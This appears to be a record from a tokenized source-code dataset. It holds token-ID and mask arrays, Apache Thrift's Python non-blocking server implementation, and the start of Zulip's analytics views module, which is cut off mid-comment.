531, 398, 372, 4865, 14, 981, 63, 679, 681, 63, 1069, 8, 277, 9, 421, 199, 533, 485, 7200, 2364, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 6250, 12, 365, 20166, 12, 5563, 12, 6250, 63, 1205, 12, 642, 63, 873, 12, 326, 2163, 63, 873, 12, 6822, 13364, 63, 521, 12, 6822, 13364, 63, 5764, 304, 267, 340, 334, 288, 440, 1228, 8, 4736, 12, 671, 6576, 14, 11414, 9, 503, 288, 440, 1228, 8, 26484, 12, 671, 6576, 14, 11414, 9, 267, 3461, 288, 746, 3146, 480, 4736, 436, 365, 20166, 1471, 506, 282, 12904, 531, 398, 485, 4712, 63, 8833, 8, 8833, 9, 267, 340, 440, 1228, 8, 3749, 63, 873, 12, 2197, 14, 2083, 304, 288, 746, 3146, 480, 3749, 63, 873, 1471, 506, 282, 2197, 909, 531, 267, 340, 334, 288, 2163, 63, 873, 365, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
hdinsight/hue
desktop/core/ext-py/thrift-0.9.1/src/server/TNonblockingServer.py
111
11818
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # """Implementation of non-blocking server. The main idea of the server is to receive and send requests only from the main thread. The thread poool should be sized for concurrent tasks, not maximum connections """ import threading import socket import Queue import select import struct import logging from thrift.transport import TTransport from thrift.protocol.TBinaryProtocol import TBinaryProtocolFactory __all__ = ['TNonblockingServer'] class Worker(threading.Thread): """Worker is a small helper to process incoming connection.""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Process queries from task queue, stop if processor is None.""" while True: try: processor, iprot, oprot, otrans, callback = self.queue.get() if processor is None: break processor.process(iprot, oprot) callback(True, otrans.getvalue()) except Exception: logging.exception("Exception while processing request") callback(False, '') WAIT_LEN = 0 WAIT_MESSAGE = 1 WAIT_PROCESS = 2 SEND_ANSWER = 3 CLOSED = 4 def locked(func): """Decorator which locks self.lock.""" def nested(self, *args, **kwargs): self.lock.acquire() try: return func(self, *args, **kwargs) finally: self.lock.release() return nested def socket_exception(func): """Decorator close object on socket.error.""" def read(self, *args, **kwargs): try: return func(self, *args, **kwargs) except socket.error: self.close() return read class Connection: """Basic class is represented connection. It can be in state: WAIT_LEN --- connection is reading request len. WAIT_MESSAGE --- connection is reading request. WAIT_PROCESS --- connection has just read whole request and waits for call ready routine. SEND_ANSWER --- connection is sending answer string (including length of answer). CLOSED --- socket was closed and connection should be deleted. """ def __init__(self, new_socket, wake_up): self.socket = new_socket self.socket.setblocking(False) self.status = WAIT_LEN self.len = 0 self.message = '' self.lock = threading.Lock() self.wake_up = wake_up def _read_len(self): """Reads length of request. It's a safer alternative to self.socket.recv(4) """ read = self.socket.recv(4 - len(self.message)) if len(read) == 0: # if we read 0 bytes and self.message is empty, then # the client closed the connection if len(self.message) != 0: logging.error("can't read frame size from socket") self.close() return self.message += read if len(self.message) == 4: self.len, = struct.unpack('!i', self.message) if self.len < 0: logging.error("negative frame size, it seems client " "doesn't use FramedTransport") self.close() elif self.len == 0: logging.error("empty frame, it's really strange") self.close() else: self.message = '' self.status = WAIT_MESSAGE @socket_exception def read(self): """Reads data from stream and switch state.""" assert self.status in (WAIT_LEN, WAIT_MESSAGE) if self.status == WAIT_LEN: self._read_len() # go back to the main loop here for simplicity instead of # falling through, even though there is a good chance that # the message is already available elif self.status == WAIT_MESSAGE: read = self.socket.recv(self.len - len(self.message)) if len(read) == 0: logging.error("can't read frame from socket (get %d of " "%d bytes)" % (len(self.message), self.len)) self.close() return self.message += read if len(self.message) == self.len: self.status = WAIT_PROCESS @socket_exception def write(self): """Writes data from socket and switch state.""" assert self.status == SEND_ANSWER sent = self.socket.send(self.message) if sent == len(self.message): self.status = WAIT_LEN self.message = '' self.len = 0 else: self.message = self.message[sent:] @locked def ready(self, all_ok, message): """Callback function for switching state and waking up main thread. This function is the only function witch can be called asynchronous. The ready can switch Connection to three states: WAIT_LEN if request was oneway. SEND_ANSWER if request was processed in normal way. CLOSED if request throws unexpected exception. The one wakes up main thread. """ assert self.status == WAIT_PROCESS if not all_ok: self.close() self.wake_up() return self.len = '' if len(message) == 0: # it was a oneway request, do not write answer self.message = '' self.status = WAIT_LEN else: self.message = struct.pack('!i', len(message)) + message self.status = SEND_ANSWER self.wake_up() @locked def is_writeable(self): """Return True if connection should be added to write list of select""" return self.status == SEND_ANSWER # it's not necessary, but... @locked def is_readable(self): """Return True if connection should be added to read list of select""" return self.status in (WAIT_LEN, WAIT_MESSAGE) @locked def is_closed(self): """Returns True if connection is closed.""" return self.status == CLOSED def fileno(self): """Returns the file descriptor of the associated socket.""" return self.socket.fileno() def close(self): """Closes connection""" self.status = CLOSED self.socket.close() class TNonblockingServer: """Non-blocking server.""" def __init__(self, processor, lsocket, inputProtocolFactory=None, outputProtocolFactory=None, threads=10): self.processor = processor self.socket = lsocket self.in_protocol = inputProtocolFactory or TBinaryProtocolFactory() self.out_protocol = outputProtocolFactory or self.in_protocol self.threads = int(threads) self.clients = {} self.tasks = Queue.Queue() self._read, self._write = socket.socketpair() self.prepared = False self._stop = False def setNumThreads(self, num): """Set the number of worker threads that should be created.""" # implement ThreadPool interface assert not self.prepared, "Can't change number of threads after start" self.threads = num def prepare(self): """Prepares server for serve requests.""" if self.prepared: return self.socket.listen() for _ in xrange(self.threads): thread = Worker(self.tasks) thread.setDaemon(True) thread.start() self.prepared = True def wake_up(self): """Wake up main thread. The server usualy waits in select call in we should terminate one. The simplest way is using socketpair. Select always wait to read from the first socket of socketpair. In this case, we can just write anything to the second socket from socketpair. """ self._write.send('1') def stop(self): """Stop the server. This method causes the serve() method to return. stop() may be invoked from within your handler, or from another thread. After stop() is called, serve() will return but the server will still be listening on the socket. serve() may then be called again to resume processing requests. Alternatively, close() may be called after serve() returns to close the server socket and shutdown all worker threads. """ self._stop = True self.wake_up() def _select(self): """Does select on open connections.""" readable = [self.socket.handle.fileno(), self._read.fileno()] writable = [] for i, connection in self.clients.items(): if connection.is_readable(): readable.append(connection.fileno()) if connection.is_writeable(): writable.append(connection.fileno()) if connection.is_closed(): del self.clients[i] return select.select(readable, writable, readable) def handle(self): """Handle requests. WARNING! You must call prepare() BEFORE calling handle() """ assert self.prepared, "You have to call prepare before handle" rset, wset, xset = self._select() for readable in rset: if readable == self._read.fileno(): # don't care i just need to clean readable flag self._read.recv(1024) elif readable == self.socket.handle.fileno(): client = self.socket.accept().handle self.clients[client.fileno()] = Connection(client, self.wake_up) else: connection = self.clients[readable] connection.read() if connection.status == WAIT_PROCESS: itransport = TTransport.TMemoryBuffer(connection.message) otransport = TTransport.TMemoryBuffer() iprot = self.in_protocol.getProtocol(itransport) oprot = self.out_protocol.getProtocol(otransport) self.tasks.put([self.processor, iprot, oprot, otransport, connection.ready]) for writeable in wset: self.clients[writeable].write() for oob in xset: self.clients[oob].close() del self.clients[oob] def close(self): """Closes the server.""" for _ in xrange(self.threads): self.tasks.put([None, None, None, None, None]) self.socket.close() self.prepared = False def serve(self): """Serve requests. Serve requests forever, or until stop() is called. """ self._stop = False self.prepare() while not self._stop: self.handle()
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 3, 199, 624, 7921, 402, 2222, 13, 13091, 1654, 14, 199, 199, 1918, 2446, 16819, 402, 314, 1654, 365, 370, 9128, 436, 3222, 4145, 199, 2118, 687, 314, 2446, 2462, 14, 199, 199, 1918, 2462, 1115, 21943, 1077, 506, 308, 1759, 367, 23002, 6527, 12, 440, 199, 11555, 6947, 199, 624, 199, 646, 5796, 199, 646, 2838, 199, 646, 10703, 199, 646, 3504, 199, 646, 2702, 199, 646, 2050, 199, 199, 504, 17199, 14, 5545, 492, 19391, 199, 504, 17199, 14, 3922, 14, 16805, 492, 15934, 2927, 199, 199, 363, 452, 363, 275, 788, 52, 6932, 13091, 3120, 418, 421, 199, 533, 23886, 8, 12562, 14, 4436, 304, 272, 408, 12678, 365, 282, 7425, 5922, 370, 2112, 12467, 1950, 1041, 339, 347, 636, 826, 721, 277, 12, 4126, 304, 267, 5796, 14, 4436, 855, 826, 721, 277, 9, 267, 291, 14, 1825, 275, 4126, 339, 347, 1255, 8, 277, 304, 267, 408, 3498, 9212, 687, 2120, 4126, 12, 3631, 340, 12495, 365, 488, 1041, 267, 1830, 715, 26, 288, 862, 26, 355, 12495, 12, 5052, 12, 4833, 12, 312, 1515, 12, 3233, 275, 291, 14, 1825, 14, 362, 342, 355, 340, 12495, 365, 488, 26, 490, 2059, 355, 12495, 14, 1412, 8, 10141, 12, 4833, 9, 355, 3233, 8, 549, 12, 312, 1515, 14, 7150, 1012, 288, 871, 2186, 26, 355, 2050, 14, 1971, 480, 1726, 1830, 6661, 1056, 531, 355, 3233, 8, 797, 12, 4074, 199, 199, 12458, 63, 5304, 275, 378, 199, 12458, 63, 8272, 275, 413, 199, 12458, 63, 10494, 275, 499, 199, 20469, 63, 5622, 12018, 275, 650, 199, 26270, 275, 841, 421, 199, 318, 14233, 8, 1532, 304, 272, 408, 14946, 1314, 23340, 291, 14, 831, 1041, 272, 347, 6032, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 831, 14, 8174, 342, 267, 862, 26, 288, 372, 2562, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 3753, 26, 288, 291, 14, 831, 14, 3221, 342, 272, 372, 6032, 421, 199, 318, 2838, 63, 1971, 8, 1532, 304, 272, 408, 14946, 4002, 909, 641, 2838, 14, 705, 1041, 272, 347, 1586, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 862, 26, 288, 372, 2562, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 871, 2838, 14, 705, 26, 288, 291, 14, 1600, 342, 272, 372, 1586, 421, 199, 533, 8113, 26, 272, 408, 6845, 1021, 365, 11159, 1950, 14, 339, 2779, 883, 506, 315, 1174, 26, 267, 644, 33, 649, 63, 5304, 10894, 1950, 365, 7664, 1056, 822, 14, 267, 644, 33, 649, 63, 8272, 10894, 1950, 365, 7664, 1056, 14, 267, 644, 33, 649, 63, 10494, 10894, 1950, 965, 2951, 1586, 8852, 1056, 436, 586, 14442, 1405, 367, 1240, 10144, 12981, 14, 267, 428, 3902, 63, 5622, 12018, 10894, 1950, 365, 10209, 6385, 1059, 334, 15768, 2582, 717, 402, 6385, 680, 267, 445, 1484, 10934, 10894, 2838, 1990, 6876, 436, 1950, 1077, 506, 5463, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 892, 63, 3450, 12, 21560, 63, 384, 304, 267, 291, 14, 3450, 275, 892, 63, 3450, 267, 291, 14, 3450, 14, 409, 13091, 8, 797, 9, 267, 291, 14, 1205, 275, 644, 33, 649, 63, 5304, 267, 291, 14, 552, 275, 378, 267, 291, 14, 1188, 275, 2125, 267, 291, 14, 831, 275, 5796, 14, 6432, 342, 267, 291, 14, 15181, 63, 384, 275, 21560, 63, 384, 339, 347, 485, 739, 63, 552, 8, 277, 304, 267, 408, 23614, 2582, 402, 1056, 14, 398, 2779, 1159, 282, 2937, 2412, 13943, 370, 291, 14, 3450, 14, 7637, 8, 20, 9, 267, 408, 267, 1586, 275, 291, 14, 3450, 14, 7637, 8, 20, 446, 822, 8, 277, 14, 1188, 430, 267, 340, 822, 8, 739, 9, 508, 378, 26, 288, 327, 340, 781, 1586, 378, 2783, 436, 291, 14, 1188, 365, 2701, 12, 2066, 288, 327, 314, 1890, 6876, 314, 1950, 288, 340, 822, 8, 277, 14, 1188, 9, 1137, 378, 26, 355, 2050, 14, 705, 480, 2425, 1133, 1586, 2787, 1568, 687, 2838, 531, 288, 291, 14, 1600, 342, 288, 372, 267, 291, 14, 1188, 847, 1586, 267, 340, 822, 8, 277, 14, 1188, 9, 508, 841, 26, 288, 291, 14, 552, 12, 275, 2702, 14, 5301, 16157, 73, 297, 291, 14, 1188, 9, 288, 340, 291, 14, 552, 665, 378, 26, 355, 2050, 14, 705, 480, 7371, 2787, 1568, 12, 652, 12237, 1890, 298, 2892, 298, 30977, 1133, 675, 11726, 68, 7836, 531, 355, 291, 14, 1600, 342, 288, 916, 291, 14, 552, 508, 378, 26, 355, 2050, 14, 705, 480, 1667, 2787, 12, 652, 1159, 7710, 620, 618, 531, 355, 291, 14, 1600, 342, 288, 587, 26, 355, 291, 14, 1188, 275, 2125, 355, 291, 14, 1205, 275, 644, 33, 649, 63, 8272, 339, 768, 3450, 63, 1971, 272, 347, 1586, 8, 277, 304, 267, 408, 23614, 666, 687, 2547, 436, 6258, 1174, 1041, 267, 702, 291, 14, 1205, 315, 334, 12458, 63, 5304, 12, 644, 33, 649, 63, 8272, 9, 267, 340, 291, 14, 1205, 508, 644, 33, 649, 63, 5304, 26, 288, 291, 423 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 3, 199, 624, 7921, 402, 2222, 13, 13091, 1654, 14, 199, 199, 1918, 2446, 16819, 402, 314, 1654, 365, 370, 9128, 436, 3222, 4145, 199, 2118, 687, 314, 2446, 2462, 14, 199, 199, 1918, 2462, 1115, 21943, 1077, 506, 308, 1759, 367, 23002, 6527, 12, 440, 199, 11555, 6947, 199, 624, 199, 646, 5796, 199, 646, 2838, 199, 646, 10703, 199, 646, 3504, 199, 646, 2702, 199, 646, 2050, 199, 199, 504, 17199, 14, 5545, 492, 19391, 199, 504, 17199, 14, 3922, 14, 16805, 492, 15934, 2927, 199, 199, 363, 452, 363, 275, 788, 52, 6932, 13091, 3120, 418, 421, 199, 533, 23886, 8, 12562, 14, 4436, 304, 272, 408, 12678, 365, 282, 7425, 5922, 370, 2112, 12467, 1950, 1041, 339, 347, 636, 826, 721, 277, 12, 4126, 304, 267, 5796, 14, 4436, 855, 826, 721, 277, 9, 267, 291, 14, 1825, 275, 4126, 339, 347, 1255, 8, 277, 304, 267, 408, 3498, 9212, 687, 2120, 4126, 12, 3631, 340, 12495, 365, 488, 1041, 267, 1830, 715, 26, 288, 862, 26, 355, 12495, 12, 5052, 12, 4833, 12, 312, 1515, 12, 3233, 275, 291, 14, 1825, 14, 362, 342, 355, 340, 12495, 365, 488, 26, 490, 2059, 355, 12495, 14, 1412, 8, 10141, 12, 4833, 9, 355, 3233, 8, 549, 12, 312, 1515, 14, 7150, 1012, 288, 871, 2186, 26, 355, 2050, 14, 1971, 480, 1726, 1830, 6661, 1056, 531, 355, 3233, 8, 797, 12, 4074, 199, 199, 12458, 63, 5304, 275, 378, 199, 12458, 63, 8272, 275, 413, 199, 12458, 63, 10494, 275, 499, 199, 20469, 63, 5622, 12018, 275, 650, 199, 26270, 275, 841, 421, 199, 318, 14233, 8, 1532, 304, 272, 408, 14946, 1314, 23340, 291, 14, 831, 1041, 272, 347, 6032, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 831, 14, 8174, 342, 267, 862, 26, 288, 372, 2562, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 3753, 26, 288, 291, 14, 831, 14, 3221, 342, 272, 372, 6032, 421, 199, 318, 2838, 63, 1971, 8, 1532, 304, 272, 408, 14946, 4002, 909, 641, 2838, 14, 705, 1041, 272, 347, 1586, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 862, 26, 288, 372, 2562, 8, 277, 12, 627, 589, 12, 1011, 958, 9, 267, 871, 2838, 14, 705, 26, 288, 291, 14, 1600, 342, 272, 372, 1586, 421, 199, 533, 8113, 26, 272, 408, 6845, 1021, 365, 11159, 1950, 14, 339, 2779, 883, 506, 315, 1174, 26, 267, 644, 33, 649, 63, 5304, 10894, 1950, 365, 7664, 1056, 822, 14, 267, 644, 33, 649, 63, 8272, 10894, 1950, 365, 7664, 1056, 14, 267, 644, 33, 649, 63, 10494, 10894, 1950, 965, 2951, 1586, 8852, 1056, 436, 586, 14442, 1405, 367, 1240, 10144, 12981, 14, 267, 428, 3902, 63, 5622, 12018, 10894, 1950, 365, 10209, 6385, 1059, 334, 15768, 2582, 717, 402, 6385, 680, 267, 445, 1484, 10934, 10894, 2838, 1990, 6876, 436, 1950, 1077, 506, 5463, 14, 272, 408, 272, 347, 636, 826, 721, 277, 12, 892, 63, 3450, 12, 21560, 63, 384, 304, 267, 291, 14, 3450, 275, 892, 63, 3450, 267, 291, 14, 3450, 14, 409, 13091, 8, 797, 9, 267, 291, 14, 1205, 275, 644, 33, 649, 63, 5304, 267, 291, 14, 552, 275, 378, 267, 291, 14, 1188, 275, 2125, 267, 291, 14, 831, 275, 5796, 14, 6432, 342, 267, 291, 14, 15181, 63, 384, 275, 21560, 63, 384, 339, 347, 485, 739, 63, 552, 8, 277, 304, 267, 408, 23614, 2582, 402, 1056, 14, 398, 2779, 1159, 282, 2937, 2412, 13943, 370, 291, 14, 3450, 14, 7637, 8, 20, 9, 267, 408, 267, 1586, 275, 291, 14, 3450, 14, 7637, 8, 20, 446, 822, 8, 277, 14, 1188, 430, 267, 340, 822, 8, 739, 9, 508, 378, 26, 288, 327, 340, 781, 1586, 378, 2783, 436, 291, 14, 1188, 365, 2701, 12, 2066, 288, 327, 314, 1890, 6876, 314, 1950, 288, 340, 822, 8, 277, 14, 1188, 9, 1137, 378, 26, 355, 2050, 14, 705, 480, 2425, 1133, 1586, 2787, 1568, 687, 2838, 531, 288, 291, 14, 1600, 342, 288, 372, 267, 291, 14, 1188, 847, 1586, 267, 340, 822, 8, 277, 14, 1188, 9, 508, 841, 26, 288, 291, 14, 552, 12, 275, 2702, 14, 5301, 16157, 73, 297, 291, 14, 1188, 9, 288, 340, 291, 14, 552, 665, 378, 26, 355, 2050, 14, 705, 480, 7371, 2787, 1568, 12, 652, 12237, 1890, 298, 2892, 298, 30977, 1133, 675, 11726, 68, 7836, 531, 355, 291, 14, 1600, 342, 288, 916, 291, 14, 552, 508, 378, 26, 355, 2050, 14, 705, 480, 1667, 2787, 12, 652, 1159, 7710, 620, 618, 531, 355, 291, 14, 1600, 342, 288, 587, 26, 355, 291, 14, 1188, 275, 2125, 355, 291, 14, 1205, 275, 644, 33, 649, 63, 8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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sonali0901/zulip
analytics/views.py
1
37020
from __future__ import absolute_import, division from django.conf import settings from django.core import urlresolvers from django.db import connection from django.db.models import Sum from django.db.models.query import QuerySet from django.http import HttpResponseNotFound, HttpRequest, HttpResponse from django.template import RequestContext, loader from django.utils import timezone from django.utils.translation import ugettext as _ from jinja2 import Markup as mark_safe from analytics.lib.counts import CountStat, process_count_stat, COUNT_STATS from analytics.lib.time_utils import time_range from analytics.models import BaseCount, InstallationCount, RealmCount, \ UserCount, StreamCount, last_successful_fill from zerver.decorator import has_request_variables, REQ, zulip_internal, \ zulip_login_required, to_non_negative_int, to_utc_datetime from zerver.lib.request import JsonableError from zerver.lib.response import json_success from zerver.lib.timestamp import ceiling_to_hour, ceiling_to_day, timestamp_to_datetime from zerver.models import Realm, UserProfile, UserActivity, \ UserActivityInterval, Client from zproject.jinja2 import render_to_response from collections import defaultdict from datetime import datetime, timedelta import itertools import json import logging import pytz import re import time from six.moves import filter, map, range, zip from typing import Any, Dict, List, Tuple, Optional, Callable, Type, \ Union, Text @zulip_login_required def stats(request): # type: (HttpRequest) -> HttpResponse return render_to_response('analytics/stats.html', context=dict(realm_name = request.user.realm.name)) @has_request_variables def get_chart_data(request, user_profile, chart_name=REQ(), min_length=REQ(converter=to_non_negative_int, default=None), start=REQ(converter=to_utc_datetime, default=None), end=REQ(converter=to_utc_datetime, default=None)): # type: (HttpRequest, UserProfile, Text, Optional[int], Optional[datetime], Optional[datetime]) -> HttpResponse if chart_name == 'number_of_humans': stat = COUNT_STATS['active_users:is_bot:day'] tables = [RealmCount] subgroups = ['false', 'true'] labels = ['human', 'bot'] labels_sort_function = None include_empty_subgroups = [True] elif chart_name == 'messages_sent_over_time': stat = COUNT_STATS['messages_sent:is_bot:hour'] tables = [RealmCount, UserCount] subgroups = ['false', 'true'] labels = ['human', 'bot'] labels_sort_function = None include_empty_subgroups = [True, False] elif chart_name == 'messages_sent_by_message_type': stat = COUNT_STATS['messages_sent:message_type:day'] tables = [RealmCount, UserCount] subgroups = ['public_stream', 'private_stream', 'private_message'] labels = ['Public Streams', 'Private Streams', 'PMs & Group PMs'] labels_sort_function = lambda data: sort_by_totals(data['realm']) include_empty_subgroups = [True, True] elif chart_name == 'messages_sent_by_client': stat = COUNT_STATS['messages_sent:client:day'] tables = [RealmCount, UserCount] subgroups = [str(x) for x in Client.objects.values_list('id', flat=True).order_by('id')] # these are further re-written by client_label_map labels = list(Client.objects.values_list('name', flat=True).order_by('id')) labels_sort_function = sort_client_labels include_empty_subgroups = [False, False] else: raise JsonableError(_("Unknown chart name: %s") % (chart_name,)) # Most likely someone using our API endpoint. The /stats page does not # pass a start or end in its requests. if start is not None and end is not None and start > end: raise JsonableError(_("Start time is later than end time. Start: %(start)s, End: %(end)s") % {'start': start, 'end': end}) realm = user_profile.realm if start is None: start = realm.date_created if end is None: end = last_successful_fill(stat.property) if end is None or start > end: logging.warning("User from realm %s attempted to access /stats, but the computed " "start time: %s (creation time of realm) is later than the computed " "end time: %s (last successful analytics update). Is the " "analytics cron job running?" % (realm.string_id, start, end)) raise JsonableError(_("No analytics data available. Please contact your server administrator.")) end_times = time_range(start, end, stat.frequency, min_length) data = {'end_times': end_times, 'frequency': stat.frequency, 'interval': stat.interval} for table, include_empty_subgroups_ in zip(tables, include_empty_subgroups): if table == RealmCount: data['realm'] = get_time_series_by_subgroup( stat, RealmCount, realm.id, end_times, subgroups, labels, include_empty_subgroups_) if table == UserCount: data['user'] = get_time_series_by_subgroup( stat, UserCount, user_profile.id, end_times, subgroups, labels, include_empty_subgroups_) if labels_sort_function is not None: data['display_order'] = labels_sort_function(data) else: data['display_order'] = None return json_success(data=data) def sort_by_totals(value_arrays): # type: (Dict[str, List[int]]) -> List[str] totals = [] for label, values in value_arrays.items(): totals.append((label, sum(values))) totals.sort(key=lambda label_total: label_total[1], reverse=True) return [label for label, total in totals] # For any given user, we want to show a fixed set of clients in the chart, # regardless of the time aggregation or whether we're looking at realm or # user data. This fixed set ideally includes the clients most important in # understanding the realm's traffic and the user's traffic. This function # tries to rank the clients so that taking the first N elements of the # sorted list has a reasonable chance of doing so. def sort_client_labels(data): # type: (Dict[str, Dict[str, List[int]]]) -> List[str] realm_order = sort_by_totals(data['realm']) user_order = sort_by_totals(data['user']) label_sort_values = {} # type: Dict[str, float] for i, label in enumerate(realm_order): label_sort_values[label] = i for i, label in enumerate(user_order): label_sort_values[label] = min(i-.1, label_sort_values.get(label, i)) return [label for label, sort_value in sorted(label_sort_values.items(), key=lambda x: x[1])] def table_filtered_to_id(table, key_id): # type: (Type[BaseCount], int) -> QuerySet if table == RealmCount: return RealmCount.objects.filter(realm_id=key_id) elif table == UserCount: return UserCount.objects.filter(user_id=key_id) elif table == StreamCount: return StreamCount.objects.filter(stream_id=key_id) elif table == InstallationCount: return InstallationCount.objects.all() else: raise ValueError("Unknown table: %s" % (table,)) def client_label_map(name): # type: (str) -> str if name == "website": return "Website" if name.startswith("desktop app"): return "Old desktop app" if name == "ZulipAndroid": return "Android app" if name == "ZulipiOS": return "Old iOS app" if name == "ZulipMobile": return "New iOS app" if name in ["ZulipPython", "API: Python"]: return "Python API" if name.startswith("Zulip") and name.endswith("Webhook"): return name[len("Zulip"):-len("Webhook")] + " webhook" # Clients in dev environment autogenerated data start with _ so # that it's easy to manually drop without affecting other data. if settings.DEVELOPMENT and name.startswith("_"): return name[1:] return name def rewrite_client_arrays(value_arrays): # type: (Dict[str, List[int]]) -> Dict[str, List[int]] mapped_arrays = {} # type: Dict[str, List[int]] for label, array in value_arrays.items(): mapped_label = client_label_map(label) if mapped_label in mapped_arrays: for i in range(0, len(array)): mapped_arrays[mapped_label][i] += value_arrays[label][i] else: mapped_arrays[mapped_label] = [value_arrays[label][i] for i in range(0, len(array))] return mapped_arrays def get_time_series_by_subgroup(stat, table, key_id, end_times, subgroups, labels, include_empty_subgroups): # type: (CountStat, Type[BaseCount], Optional[int], List[datetime], List[str], List[str], bool) -> Dict[str, List[int]] if len(subgroups) != len(labels): raise ValueError("subgroups and labels have lengths %s and %s, which are different." % (len(subgroups), len(labels))) queryset = table_filtered_to_id(table, key_id).filter(property=stat.property) \ .values_list('subgroup', 'end_time', 'value') value_dicts = defaultdict(lambda: defaultdict(int)) # type: Dict[Optional[str], Dict[datetime, int]] for subgroup, end_time, value in queryset: value_dicts[subgroup][end_time] = value value_arrays = {} for subgroup, label in zip(subgroups, labels): if (subgroup in value_dicts) or include_empty_subgroups: value_arrays[label] = [value_dicts[subgroup][end_time] for end_time in end_times] if stat == COUNT_STATS['messages_sent:client:day']: # HACK: We rewrite these 